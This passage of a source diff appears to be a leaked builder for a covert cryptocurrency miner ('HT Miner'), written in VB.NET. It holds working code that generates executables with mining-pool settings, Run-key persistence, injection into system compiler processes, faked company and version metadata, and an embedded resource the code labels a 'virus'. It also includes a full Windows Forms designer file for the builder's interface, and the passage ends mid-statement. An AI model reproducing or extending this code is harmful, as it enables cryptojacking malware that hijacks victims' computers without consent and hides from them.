replaceStartup(ByVal source As String, ByVal Enabled As Boolean) As String + + If Enabled Then + source = source.Replace("%DOSTARTUP%", "doStartup()") + source = source.Replace("%STARTUPSUB%", "Sub doStartup()" & vbNewLine & "Microsoft.Win32.Registry.CurrentUser.OpenSubKey(""SOFTWARE\Microsoft\Windows\CurrentVersion\Run"", True).SetValue(""%STARTUPKEY%"", System.Reflection.Assembly.GetExecutingAssembly().Location)" & vbNewLine & "End Sub") + source = source.Replace("%STARTUPKEY%", frmMain.tbStartup.Text) + Return source + Else + source = source.Replace("%DOSTARTUP%", "") + source = source.Replace("%STARTUPSUB%", "") + source = source.Replace("%STARTUPKEY%", "") + Return source + End If + + End Function + + Private Shared Function replaceParameters(ByVal source As String) As String + source = source.Replace("%ARGS%", "-o %URL% -u %WORKER% -p %PASS% -t"" & %THREADS% & "" -m512") + source = source.Replace("%URL%", frmMain.tbURL.Text) + source = source.Replace("%WORKER%", frmMain.tbWorker.Text) + source = source.Replace("%PASS%", frmMain.tbPass.Text) + Return source + End Function + + Private Shared Function replaceThreads(ByVal source As String, ByVal Percentage As Boolean) As String + If Percentage Then + source = source.Replace("%THREADS%", "getCores()") + source = source.Replace("%CORESUB%", "Function getCores() As String" & vbNewLine & + "Dim i As Integer" & vbNewLine & + "i = CInt(Environment.ProcessorCount / 2)" & vbNewLine & + "Return "" "" & CStr(i)" & vbNewLine & + "End Function") + Return source + Else + source = source.Replace("%THREADS%", """" & " " & frmMain.nThreads.Value.ToString() & """") + source = source.Replace("%CORESUB%", "") + Return source + End If + End Function + + Private Shared Function replaceDebug(ByVal source As String) As String + If Settings.DebugMode Then + source = source.Replace("%DEBUG%", "True") + Return source + Else + source = source.Replace("%DEBUG%", "False") + Return source + End If + End Function + + Private Shared Function replaceAssembly(ByVal source As String) As String + + If frmMain.tbDesc.Text = "Description" Then : Settings.Description = "" : Else : Settings.Description = frmMain.tbDesc.Text : End If + If frmMain.tbTrademark.Text = "Trademark" Then : Settings.Trademark = "" : Else : Settings.Trademark = frmMain.tbTrademark.Text : End If + If frmMain.tbCompany.Text = "Company" Then : Settings.Company = "" : Else : Settings.Company = frmMain.tbCompany.Text : End If + If frmMain.tbProduct.Text = "Product" Then : Settings.Product = "" : Else : Settings.Product = frmMain.tbProduct.Text : End If + If frmMain.tbCopyright.Text = "Copyright" Then : Settings.Copyright = "" : Else : Settings.Copyright = frmMain.tbCopyright.Text : End If + If frmMain.tbTitle.Text = "Title" Then : Settings.Title = "" : Else : Settings.Title = frmMain.tbTitle.Text : End If + + Settings.ProductVer = createProductVer() + Settings.FileVer = createFileVer() + + source = source.Replace("{DESC}", Settings.Description) + source = source.Replace("{TRADEMARK}", Settings.Trademark) + source = source.Replace("{COMPANY}", Settings.Company) + source = source.Replace("{PRODUCT}", Settings.Product) + source = source.Replace("{COPYRIGHT}", Settings.Copyright) + source = source.Replace("{TITLE}", Settings.Title) + source = source.Replace("{PVERSION}", Settings.ProductVer) + source = source.Replace("{FVERSION}", Settings.FileVer) + Return source + End Function + + + + Private Shared Function replaceInjection(ByVal source As String) As String + Settings.InjectionProcess = CStr(frmMain.comboInject.SelectedItem) + source = source.Replace("%INJECT%", Settings.InjectionProcess & ".exe") + Return source + End Function + + + + + + Private Shared Function createProductVer() As String + Dim s As String + s = frmMain.pv1.Value.ToString() & "." & frmMain.pv2.Value.ToString() & "." & frmMain.pv3.Value.ToString() & "." & frmMain.pv4.Value.ToString() + Return s + End Function + Private Shared Function createFileVer() As String + Dim s As String + s = frmMain.fv1.Value.ToString() & "." & frmMain.fv2.Value.ToString() & "." & frmMain.fv3.Value.ToString() & "." & frmMain.fv4.Value.ToString() + Return s + End Function +End Structure + diff --git a/scode (rMinerPTS/rMinerPTS/API/rCompiler.vb b/scode (rMinerPTS/rMinerPTS/API/rCompiler.vb new file mode 100644 index 0000000..ce4b736 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/API/rCompiler.vb @@ -0,0 +1,97 @@ +Imports System.CodeDom.Compiler +Imports System.Text + +Public Class rCompiler + + + ' Public Shared Sub Compile(ByVal Source As String, ByVal Output As String, Optional ByVal Icon As String = "") 'ByVal Res As String, Optional ByVal Icon As String) + Public Shared Sub Compile(ByVal Source As String, ByVal Output As String, ByVal Res As String, Optional ByVal Icon As String = "") + + Dim success As Boolean = True + + Dim ProviderOptions As New Dictionary(Of String, String)() + ProviderOptions.Add("CompilerVersion", "v2.0") + + Dim CP As New Microsoft.VisualBasic.VBCodeProvider(ProviderOptions) + Dim P As New CodeDom.Compiler.CompilerParameters + + Dim s As New StringBuilder() + s.Append(" /target:winexe") + s.Append(" /platform:x86") + s.Append(" /optimize+") + s.Append(" /utf8output") + + P.ReferencedAssemblies.Add("System.dll") + P.ReferencedAssemblies.Add("System.Data.dll") + P.ReferencedAssemblies.Add("System.Windows.Forms.dll") + + P.GenerateExecutable = True + P.OutputAssembly = Output + + '----- ADD VIRUS RESOURCE ----- + P.EmbeddedResources.Add(Res) + '----- ADD VIRUS RESOURCE ----- + + If Icon <> "" Then + s.Append(" /win32icon:" & Icon) + End If + + P.CompilerOptions += s.ToString() + P.IncludeDebugInformation = False + P.ReferencedAssemblies.Add("System.Dll") + P.ReferencedAssemblies.Add("System.Windows.Forms.Dll") + Dim Results1 = CP.CompileAssemblyFromSource(P, Source) + For Each uii As CodeDom.Compiler.CompilerError In Results1.Errors + MsgBox(uii.ToString) + success = False + Next + If success Then : MsgBox("Success!", MsgBoxStyle.OkOnly + MsgBoxStyle.Information) : End If + End Sub + + + + + + + + + + + + + + 'Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Resource As String, ByVal Icon As String) + ' On Error Resume Next + + ' Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler() + ' Dim Parameters As New CompilerParameters() + ' Dim cResults As CompilerResults + ' Parameters.CompilerOptions &= "/target:winexe" + ' Parameters.GenerateExecutable = True + ' Parameters.OutputAssembly = Output + ' Parameters.ReferencedAssemblies.Add("System.dll") + ' Parameters.ReferencedAssemblies.Add("System.Data.dll") + ' Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll") + ' Parameters.CompilerOptions &= " /platform:x86" + ' Parameters.EmbeddedResources.Add(Resource) + + + + ' Dim Version = New Dictionary(Of String, String) + ' Version.Add("CompilerVersion", "v2.0") + + ' If Icon <> "" Then + ' Parameters.CompilerOptions &= " /win32icon:" & Icon + ' End If + + ' cResults = Compiler.CompileAssemblyFromSource(Parameters, Source) + + ' If cResults.Errors.Count > 0 Then + ' For Each CompilerError In cResults.Errors + ' MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error) + ' Next + ' ElseIf cResults.Errors.Count = 0 Then + + ' End If + 'End Sub +End Class \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/App.config b/scode (rMinerPTS/rMinerPTS/App.config new file mode 100644 index 0000000..7505428 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/Forms/frnMain.Designer.vb b/scode (rMinerPTS/rMinerPTS/Forms/frnMain.Designer.vb new file mode 100644 index 0000000..5ff9594 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/Forms/frnMain.Designer.vb @@ -0,0 +1,994 @@ + _ +Partial Class frmMain + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmMain)) + Me.FormSkin1 = New hMinerPTS.FormSkin() + Me.FlatClose2 = New hMinerPTS.FlatClose() + Me.statusBar = New hMinerPTS.FlatStatusBar() + Me.FlatTabControl1 = New hMinerPTS.FlatTabControl() + Me.pageMain = New System.Windows.Forms.TabPage() + Me.Label16 = New System.Windows.Forms.Label() + Me.checkDebug = New hMinerPTS.FlatCheckBox() + Me.Label15 = New System.Windows.Forms.Label() + Me.checkPercent = New hMinerPTS.FlatCheckBox() + Me.Label14 = New System.Windows.Forms.Label() + Me.nThreads = New hMinerPTS.FlatNumeric() + Me.Label13 = New System.Windows.Forms.Label() + Me.btReset = New hMinerPTS.FlatButton() + Me.btHelp = New hMinerPTS.FlatButton() + Me.tbMutex = New hMinerPTS.FlatTextBox() + Me.checkMutex = New hMinerPTS.FlatCheckBox() + Me.tbStartup = New hMinerPTS.FlatTextBox() + Me.checkStartup = New hMinerPTS.FlatCheckBox() + Me.Label6 = New System.Windows.Forms.Label() + Me.comboInject = New hMinerPTS.FlatComboBox() + Me.Label5 = New System.Windows.Forms.Label() + Me.tbPass = New hMinerPTS.FlatTextBox() + Me.Label4 = New System.Windows.Forms.Label() + Me.tbWorker = New hMinerPTS.FlatTextBox() + Me.Label3 = New System.Windows.Forms.Label() + Me.tbURL = New hMinerPTS.FlatTextBox() + Me.Label2 = New System.Windows.Forms.Label() + Me.Label7 = New System.Windows.Forms.Label() + Me.pageAssembly = New System.Windows.Forms.TabPage() + Me.btIconBrowse = New hMinerPTS.FlatButton() + Me.checkIcon = New hMinerPTS.FlatCheckBox() + Me.Label11 = New System.Windows.Forms.Label() + Me.fv4 = New hMinerPTS.FlatNumeric() + Me.fv3 = New hMinerPTS.FlatNumeric() + Me.fv2 = New hMinerPTS.FlatNumeric() + Me.fv1 = New hMinerPTS.FlatNumeric() + Me.Label10 = New System.Windows.Forms.Label() + Me.pv4 = New hMinerPTS.FlatNumeric() + Me.pv3 = New hMinerPTS.FlatNumeric() + Me.pv2 = New hMinerPTS.FlatNumeric() + Me.pv1 = New hMinerPTS.FlatNumeric() + Me.Label9 = New System.Windows.Forms.Label() + Me.tbTitle = New hMinerPTS.FlatTextBox() + Me.tbCopyright = New hMinerPTS.FlatTextBox() + Me.tbProduct = New hMinerPTS.FlatTextBox() + Me.tbCompany = New hMinerPTS.FlatTextBox() + Me.tbTrademark = New hMinerPTS.FlatTextBox() + Me.tbDesc = New hMinerPTS.FlatTextBox() + Me.Label8 = New System.Windows.Forms.Label() + Me.previewIcon = New System.Windows.Forms.PictureBox() + Me.pageBuild = New System.Windows.Forms.TabPage() + Me.btBuild = New System.Windows.Forms.PictureBox() + Me.Label12 = New System.Windows.Forms.Label() + Me.pageAbout = New System.Windows.Forms.TabPage() + Me.Label18 = New System.Windows.Forms.Label() + Me.Label17 = New System.Windows.Forms.Label() + Me.btMinimize = New hMinerPTS.FlatButton() + Me.FlatClose1 = New hMinerPTS.FlatClose() + Me.Label1 = New System.Windows.Forms.Label() + Me.FormSkin1.SuspendLayout() + Me.FlatTabControl1.SuspendLayout() + Me.pageMain.SuspendLayout() + Me.pageAssembly.SuspendLayout() + CType(Me.previewIcon, System.ComponentModel.ISupportInitialize).BeginInit() + Me.pageBuild.SuspendLayout() + CType(Me.btBuild, System.ComponentModel.ISupportInitialize).BeginInit() + Me.pageAbout.SuspendLayout() + Me.SuspendLayout() + ' + 'FormSkin1 + ' + Me.FormSkin1.BackColor = System.Drawing.Color.White + Me.FormSkin1.BaseColor = System.Drawing.Color.White + Me.FormSkin1.BorderColor = System.Drawing.Color.Gray + Me.FormSkin1.Controls.Add(Me.FlatClose2) + Me.FormSkin1.Controls.Add(Me.statusBar) + Me.FormSkin1.Controls.Add(Me.FlatTabControl1) + Me.FormSkin1.Controls.Add(Me.btMinimize) + Me.FormSkin1.Controls.Add(Me.FlatClose1) + Me.FormSkin1.Controls.Add(Me.Label1) + Me.FormSkin1.Dock = System.Windows.Forms.DockStyle.Fill + Me.FormSkin1.FlatColor = System.Drawing.Color.RoyalBlue + Me.FormSkin1.Font = New System.Drawing.Font("Segoe UI", 12.0!) + Me.FormSkin1.ForeColor = System.Drawing.Color.Black + Me.FormSkin1.HeaderColor = System.Drawing.Color.White + Me.FormSkin1.HeaderMaximize = False + Me.FormSkin1.Location = New System.Drawing.Point(0, 0) + Me.FormSkin1.Name = "FormSkin1" + Me.FormSkin1.Size = New System.Drawing.Size(520, 425) + Me.FormSkin1.TabIndex = 0 + Me.FormSkin1.Text = "HT Miner - Leaked by Mizore" + ' + 'FlatClose2 + ' + Me.FlatClose2.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.FlatClose2.BackColor = System.Drawing.Color.White + Me.FlatClose2.BaseColor = System.Drawing.Color.FromArgb(CType(CType(168, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.FlatClose2.Font = New System.Drawing.Font("Marlett", 10.0!) + Me.FlatClose2.Location = New System.Drawing.Point(488, 12) + Me.FlatClose2.Name = "FlatClose2" + Me.FlatClose2.Size = New System.Drawing.Size(18, 18) + Me.FlatClose2.TabIndex = 5 + Me.FlatClose2.Text = "FlatClose2" + Me.FlatClose2.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer)) + ' + 'statusBar + ' + Me.statusBar.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.statusBar.Dock = System.Windows.Forms.DockStyle.Bottom + Me.statusBar.Font = New System.Drawing.Font("Segoe UI", 8.0!) + Me.statusBar.ForeColor = System.Drawing.Color.White + Me.statusBar.Location = New System.Drawing.Point(0, 402) + Me.statusBar.Name = "statusBar" + Me.statusBar.RectColor = System.Drawing.Color.RoyalBlue + Me.statusBar.ShowTimeDate = True + Me.statusBar.Size = New System.Drawing.Size(520, 23) + Me.statusBar.TabIndex = 4 + Me.statusBar.Text = "Version: 1.1.3 (LATEST) | News: None." + Me.statusBar.TextColor = System.Drawing.Color.White + ' + 'FlatTabControl1 + ' + Me.FlatTabControl1.ActiveColor = System.Drawing.Color.RoyalBlue + Me.FlatTabControl1.BaseColor = System.Drawing.Color.White + Me.FlatTabControl1.Controls.Add(Me.pageMain) + Me.FlatTabControl1.Controls.Add(Me.pageAssembly) + Me.FlatTabControl1.Controls.Add(Me.pageBuild) + Me.FlatTabControl1.Controls.Add(Me.pageAbout) + Me.FlatTabControl1.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.FlatTabControl1.ItemSize = New System.Drawing.Size(120, 40) + Me.FlatTabControl1.Location = New System.Drawing.Point(8, 53) + Me.FlatTabControl1.Name = "FlatTabControl1" + Me.FlatTabControl1.SelectedIndex = 0 + Me.FlatTabControl1.Size = New System.Drawing.Size(502, 343) + Me.FlatTabControl1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed + Me.FlatTabControl1.TabIndex = 3 + ' + 'pageMain + ' + Me.pageMain.BackColor = System.Drawing.Color.White + Me.pageMain.Controls.Add(Me.Label16) + Me.pageMain.Controls.Add(Me.checkDebug) + Me.pageMain.Controls.Add(Me.Label15) + Me.pageMain.Controls.Add(Me.checkPercent) + Me.pageMain.Controls.Add(Me.Label14) + Me.pageMain.Controls.Add(Me.nThreads) + Me.pageMain.Controls.Add(Me.Label13) + Me.pageMain.Controls.Add(Me.btReset) + Me.pageMain.Controls.Add(Me.btHelp) + Me.pageMain.Controls.Add(Me.tbMutex) + Me.pageMain.Controls.Add(Me.checkMutex) + Me.pageMain.Controls.Add(Me.tbStartup) + Me.pageMain.Controls.Add(Me.checkStartup) + Me.pageMain.Controls.Add(Me.Label6) + Me.pageMain.Controls.Add(Me.comboInject) + Me.pageMain.Controls.Add(Me.Label5) + Me.pageMain.Controls.Add(Me.tbPass) + Me.pageMain.Controls.Add(Me.Label4) + Me.pageMain.Controls.Add(Me.tbWorker) + Me.pageMain.Controls.Add(Me.Label3) + Me.pageMain.Controls.Add(Me.tbURL) + Me.pageMain.Controls.Add(Me.Label2) + Me.pageMain.Controls.Add(Me.Label7) + Me.pageMain.Location = New System.Drawing.Point(4, 44) + Me.pageMain.Name = "pageMain" + Me.pageMain.Padding = New System.Windows.Forms.Padding(3) + Me.pageMain.Size = New System.Drawing.Size(494, 295) + Me.pageMain.TabIndex = 0 + Me.pageMain.Text = "Main" + ' + 'Label16 + ' + Me.Label16.AutoSize = True + Me.Label16.Location = New System.Drawing.Point(264, 231) + Me.Label16.Name = "Label16" + Me.Label16.Size = New System.Drawing.Size(89, 19) + Me.Label16.TabIndex = 23 + Me.Label16.Text = "Debug mode" + ' + 'checkDebug + ' + Me.checkDebug.BackColor = System.Drawing.Color.White + Me.checkDebug.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.checkDebug.BorderColor = System.Drawing.Color.RoyalBlue + Me.checkDebug.Checked = False + Me.checkDebug.Cursor = System.Windows.Forms.Cursors.Hand + Me.checkDebug.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.checkDebug.Location = New System.Drawing.Point(247, 230) + Me.checkDebug.Name = "checkDebug" + Me.checkDebug.Options = hMinerPTS.FlatCheckBox._Options.Style1 + Me.checkDebug.Size = New System.Drawing.Size(21, 22) + Me.checkDebug.TabIndex = 22 + Me.checkDebug.Text = "Debug Mode" + ' + 'Label15 + ' + Me.Label15.AutoSize = True + Me.Label15.BackColor = System.Drawing.Color.Transparent + Me.Label15.Location = New System.Drawing.Point(30, 263) + Me.Label15.Name = "Label15" + Me.Label15.Size = New System.Drawing.Size(36, 19) + Me.Label15.TabIndex = 21 + Me.Label15.Text = "50%" + ' + 'checkPercent + ' + Me.checkPercent.BackColor = System.Drawing.Color.White + Me.checkPercent.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.checkPercent.BorderColor = System.Drawing.Color.RoyalBlue + Me.checkPercent.Checked = False + Me.checkPercent.Cursor = System.Windows.Forms.Cursors.Hand + Me.checkPercent.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.checkPercent.Location = New System.Drawing.Point(10, 262) + Me.checkPercent.Name = "checkPercent" + Me.checkPercent.Options = hMinerPTS.FlatCheckBox._Options.Style1 + Me.checkPercent.Size = New System.Drawing.Size(21, 22) + Me.checkPercent.TabIndex = 20 + Me.checkPercent.Text = "FlatCheckBox1" + ' + 'Label14 + ' + Me.Label14.AutoSize = True + Me.Label14.Location = New System.Drawing.Point(88, 233) + Me.Label14.Name = "Label14" + Me.Label14.Size = New System.Drawing.Size(77, 19) + Me.Label14.TabIndex = 19 + Me.Label14.Text = "Threads or:" + ' + 'nThreads + ' + Me.nThreads.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.nThreads.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.nThreads.ButtonColor = System.Drawing.Color.RoyalBlue + Me.nThreads.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.nThreads.ForeColor = System.Drawing.Color.White + Me.nThreads.Location = New System.Drawing.Point(10, 227) + Me.nThreads.Maximum = CType(16, Long) + Me.nThreads.Minimum = CType(0, Long) + Me.nThreads.Name = "nThreads" + Me.nThreads.Size = New System.Drawing.Size(75, 30) + Me.nThreads.TabIndex = 18 + Me.nThreads.Text = "nThreads" + Me.nThreads.Value = CType(0, Long) + ' + 'Label13 + ' + Me.Label13.AutoSize = True + Me.Label13.Location = New System.Drawing.Point(6, 205) + Me.Label13.Name = "Label13" + Me.Label13.Size = New System.Drawing.Size(60, 19) + Me.Label13.TabIndex = 17 + Me.Label13.Text = "Threads:" + ' + 'btReset + ' + Me.btReset.BackColor = System.Drawing.Color.Transparent + Me.btReset.BaseColor = System.Drawing.Color.RoyalBlue + Me.btReset.Cursor = System.Windows.Forms.Cursors.Hand + Me.btReset.Font = New System.Drawing.Font("Segoe UI", 12.0!) + Me.btReset.Location = New System.Drawing.Point(401, 162) + Me.btReset.Name = "btReset" + Me.btReset.Rounded = False + Me.btReset.Size = New System.Drawing.Size(79, 40) + Me.btReset.TabIndex = 15 + Me.btReset.Text = "Reset" + Me.btReset.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer)) + ' + 'btHelp + ' + Me.btHelp.BackColor = System.Drawing.Color.Transparent + Me.btHelp.BaseColor = System.Drawing.Color.RoyalBlue + Me.btHelp.Cursor = System.Windows.Forms.Cursors.Hand + Me.btHelp.Font = New System.Drawing.Font("Segoe UI", 12.0!) + Me.btHelp.Location = New System.Drawing.Point(401, 97) + Me.btHelp.Name = "btHelp" + Me.btHelp.Rounded = False + Me.btHelp.Size = New System.Drawing.Size(79, 40) + Me.btHelp.TabIndex = 14 + Me.btHelp.Text = "Help" + Me.btHelp.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer)) + ' + 'tbMutex + ' + Me.tbMutex.BackColor = System.Drawing.Color.Transparent + Me.tbMutex.Enabled = False + Me.tbMutex.Location = New System.Drawing.Point(247, 162) + Me.tbMutex.MaxLength = 32767 + Me.tbMutex.Multiline = False + Me.tbMutex.Name = "tbMutex" + Me.tbMutex.ReadOnly = False + Me.tbMutex.Size = New System.Drawing.Size(121, 29) + Me.tbMutex.TabIndex = 13 + Me.tbMutex.Text = "Random Chars" + Me.tbMutex.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbMutex.TextColor = System.Drawing.Color.Silver + Me.tbMutex.UseSystemPasswordChar = False + ' + 'checkMutex + ' + Me.checkMutex.BackColor = System.Drawing.Color.White + Me.checkMutex.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.checkMutex.BorderColor = System.Drawing.Color.RoyalBlue + Me.checkMutex.Checked = False + Me.checkMutex.Cursor = System.Windows.Forms.Cursors.Hand + Me.checkMutex.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.checkMutex.Location = New System.Drawing.Point(247, 139) + Me.checkMutex.Name = "checkMutex" + Me.checkMutex.Options = hMinerPTS.FlatCheckBox._Options.Style1 + Me.checkMutex.Size = New System.Drawing.Size(21, 22) + Me.checkMutex.TabIndex = 12 + Me.checkMutex.Text = "FlatCheckBox2" + ' + 'tbStartup + ' + Me.tbStartup.BackColor = System.Drawing.Color.Transparent + Me.tbStartup.Enabled = False + Me.tbStartup.Location = New System.Drawing.Point(247, 97) + Me.tbStartup.MaxLength = 32767 + Me.tbStartup.Multiline = False + Me.tbStartup.Name = "tbStartup" + Me.tbStartup.ReadOnly = False + Me.tbStartup.Size = New System.Drawing.Size(121, 29) + Me.tbStartup.TabIndex = 10 + Me.tbStartup.Text = "Startupkey" + Me.tbStartup.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbStartup.TextColor = System.Drawing.Color.Silver + Me.tbStartup.UseSystemPasswordChar = False + ' + 'checkStartup + ' + Me.checkStartup.BackColor = System.Drawing.Color.White + Me.checkStartup.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.checkStartup.BorderColor = System.Drawing.Color.RoyalBlue + Me.checkStartup.Checked = False + Me.checkStartup.Cursor = System.Windows.Forms.Cursors.Hand + Me.checkStartup.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.checkStartup.Location = New System.Drawing.Point(247, 74) + Me.checkStartup.Name = "checkStartup" + Me.checkStartup.Options = hMinerPTS.FlatCheckBox._Options.Style1 + Me.checkStartup.Size = New System.Drawing.Size(21, 22) + Me.checkStartup.TabIndex = 8 + Me.checkStartup.Text = "FlatCheckBox1" + ' + 'Label6 + ' + Me.Label6.AutoSize = True + Me.Label6.Location = New System.Drawing.Point(263, 75) + Me.Label6.Name = "Label6" + Me.Label6.Size = New System.Drawing.Size(54, 19) + Me.Label6.TabIndex = 9 + Me.Label6.Text = "Startup" + ' + 'comboInject + ' + Me.comboInject.BackColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(45, Byte), Integer), CType(CType(48, Byte), Integer)) + Me.comboInject.Cursor = System.Windows.Forms.Cursors.Hand + Me.comboInject.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed + Me.comboInject.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList + Me.comboInject.Font = New System.Drawing.Font("Segoe UI", 8.0!) + Me.comboInject.ForeColor = System.Drawing.Color.White + Me.comboInject.FormattingEnabled = True + Me.comboInject.HoverColor = System.Drawing.Color.RoyalBlue + Me.comboInject.ItemHeight = 18 + Me.comboInject.Items.AddRange(New Object() {"VBC", "CSC", "CVTRES"}) + Me.comboInject.Location = New System.Drawing.Point(247, 32) + Me.comboInject.Name = "comboInject" + Me.comboInject.Size = New System.Drawing.Size(121, 24) + Me.comboInject.TabIndex = 7 + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.Location = New System.Drawing.Point(243, 10) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(74, 19) + Me.Label5.TabIndex = 6 + Me.Label5.Text = "Inject Into:" + ' + 'tbPass + ' + Me.tbPass.BackColor = System.Drawing.Color.Transparent + Me.tbPass.Location = New System.Drawing.Point(10, 162) + Me.tbPass.MaxLength = 32767 + Me.tbPass.Multiline = False + Me.tbPass.Name = "tbPass" + Me.tbPass.ReadOnly = False + Me.tbPass.Size = New System.Drawing.Size(175, 29) + Me.tbPass.TabIndex = 5 + Me.tbPass.Text = "x" + Me.tbPass.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbPass.TextColor = System.Drawing.Color.White + Me.tbPass.UseSystemPasswordChar = False + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.Location = New System.Drawing.Point(6, 140) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(70, 19) + Me.Label4.TabIndex = 4 + Me.Label4.Text = "Password:" + ' + 'tbWorker + ' + Me.tbWorker.BackColor = System.Drawing.Color.Transparent + Me.tbWorker.Location = New System.Drawing.Point(10, 97) + Me.tbWorker.MaxLength = 32767 + Me.tbWorker.Multiline = False + Me.tbWorker.Name = "tbWorker" + Me.tbWorker.ReadOnly = False + Me.tbWorker.Size = New System.Drawing.Size(175, 29) + Me.tbWorker.TabIndex = 3 + Me.tbWorker.Text = "Example.PTS" + Me.tbWorker.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbWorker.TextColor = System.Drawing.Color.White + Me.tbWorker.UseSystemPasswordChar = False + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.Location = New System.Drawing.Point(6, 75) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(57, 19) + Me.Label3.TabIndex = 2 + Me.Label3.Text = "Worker:" + ' + 'tbURL + ' + Me.tbURL.BackColor = System.Drawing.Color.Transparent + Me.tbURL.Location = New System.Drawing.Point(10, 32) + Me.tbURL.MaxLength = 32767 + Me.tbURL.Multiline = False + Me.tbURL.Name = "tbURL" + Me.tbURL.ReadOnly = False + Me.tbURL.Size = New System.Drawing.Size(175, 29) + Me.tbURL.TabIndex = 1 + Me.tbURL.Text = "ypool.net" + Me.tbURL.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbURL.TextColor = System.Drawing.Color.White + Me.tbURL.UseSystemPasswordChar = False + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.Location = New System.Drawing.Point(6, 10) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(68, 19) + Me.Label2.TabIndex = 0 + Me.Label2.Text = "Pool URL:" + ' + 'Label7 + ' + Me.Label7.AutoSize = True + Me.Label7.BackColor = System.Drawing.Color.Transparent + Me.Label7.Location = New System.Drawing.Point(263, 140) + Me.Label7.Name = "Label7" + Me.Label7.Size = New System.Drawing.Size(48, 19) + Me.Label7.TabIndex = 11 + Me.Label7.Text = "Mutex" + ' + 'pageAssembly + ' + Me.pageAssembly.BackColor = System.Drawing.Color.White + Me.pageAssembly.Controls.Add(Me.btIconBrowse) + Me.pageAssembly.Controls.Add(Me.checkIcon) + Me.pageAssembly.Controls.Add(Me.Label11) + Me.pageAssembly.Controls.Add(Me.fv4) + Me.pageAssembly.Controls.Add(Me.fv3) + Me.pageAssembly.Controls.Add(Me.fv2) + Me.pageAssembly.Controls.Add(Me.fv1) + Me.pageAssembly.Controls.Add(Me.Label10) + Me.pageAssembly.Controls.Add(Me.pv4) + Me.pageAssembly.Controls.Add(Me.pv3) + Me.pageAssembly.Controls.Add(Me.pv2) + Me.pageAssembly.Controls.Add(Me.pv1) + Me.pageAssembly.Controls.Add(Me.Label9) + Me.pageAssembly.Controls.Add(Me.tbTitle) + Me.pageAssembly.Controls.Add(Me.tbCopyright) + Me.pageAssembly.Controls.Add(Me.tbProduct) + Me.pageAssembly.Controls.Add(Me.tbCompany) + Me.pageAssembly.Controls.Add(Me.tbTrademark) + Me.pageAssembly.Controls.Add(Me.tbDesc) + Me.pageAssembly.Controls.Add(Me.Label8) + Me.pageAssembly.Controls.Add(Me.previewIcon) + Me.pageAssembly.Location = New 